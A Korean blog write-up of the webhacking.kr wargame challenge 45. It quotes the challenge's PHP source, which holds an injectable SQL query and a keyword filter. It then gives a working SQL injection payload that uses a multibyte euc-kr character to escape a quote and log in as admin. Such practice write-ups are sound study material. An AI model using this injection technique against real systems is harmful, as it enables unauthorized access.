0x10 정보보안/0x16 Web

webhacking.kr 45번 write up

sweetchip 2012. 11. 2. 19:17
반응형

안녕하세요 pgnsc 입니다.


webhacking.kr 의 45번을 다시한번 풀게되면서 블로그에 기록을 남겨봅니다.


힌트만 얻고 싶으신분은 아래 버튼을 눌러주세요 :D

















Write Up ---------------------

// 2012.11.02



제일먼저 들어가면 sql injection 문제라고 친절하게 알려주는 페이지가 있습니다.


자.. 일단 소스보기를 하면 index.phps 를 보라고 합니다.


------------------------------------------ index.phps - php source code


if(time()<1256900400) exit();
?>




$pw
="?????";

if(
$_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from zmail_member where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(
eregi("admin",$_GET[id])) exit();
if(
eregi("from",$_GET[id])) exit();
if(
eregi("union",$_GET[id])) exit();
if(
eregi("limit",$_GET[id])) exit();
if(
eregi("union",$_GET[pw])) exit();
if(
eregi("pw",$_GET[pw])) exit();
if(
eregi("=",$_GET[pw])) exit();
if(
eregi(">",$_GET[pw])) exit();
if(
eregi("<",$_GET[pw])) exit();


if(
$data)
{
echo(
"hi $data[0]

"
);

if(
$data[0]=="admin") @solve();
}


if(!
$data)
{
echo(
"Wrong");
}

}

?>


-----------------------------------------------------


여러 문자열을 검열하네요..


목표는 넘겨진 아이디가 최종 admin이 되어야 합니다.


그런데 인코딩 변환중에서 취약점이 발생하게 됩니다.


http://luxs1t.tistory.com/19 을 참고해주세요


암튼 인젝션을 시도해보면


asd' or id = concat(admin)# 의 구문으로 시도해야 합니다.


상황에 맞게 인코딩을 하면.


asd�' or id like concat(char(97),char(100),char(109),char(105),char(110))#






문제 해결 ^^


반응형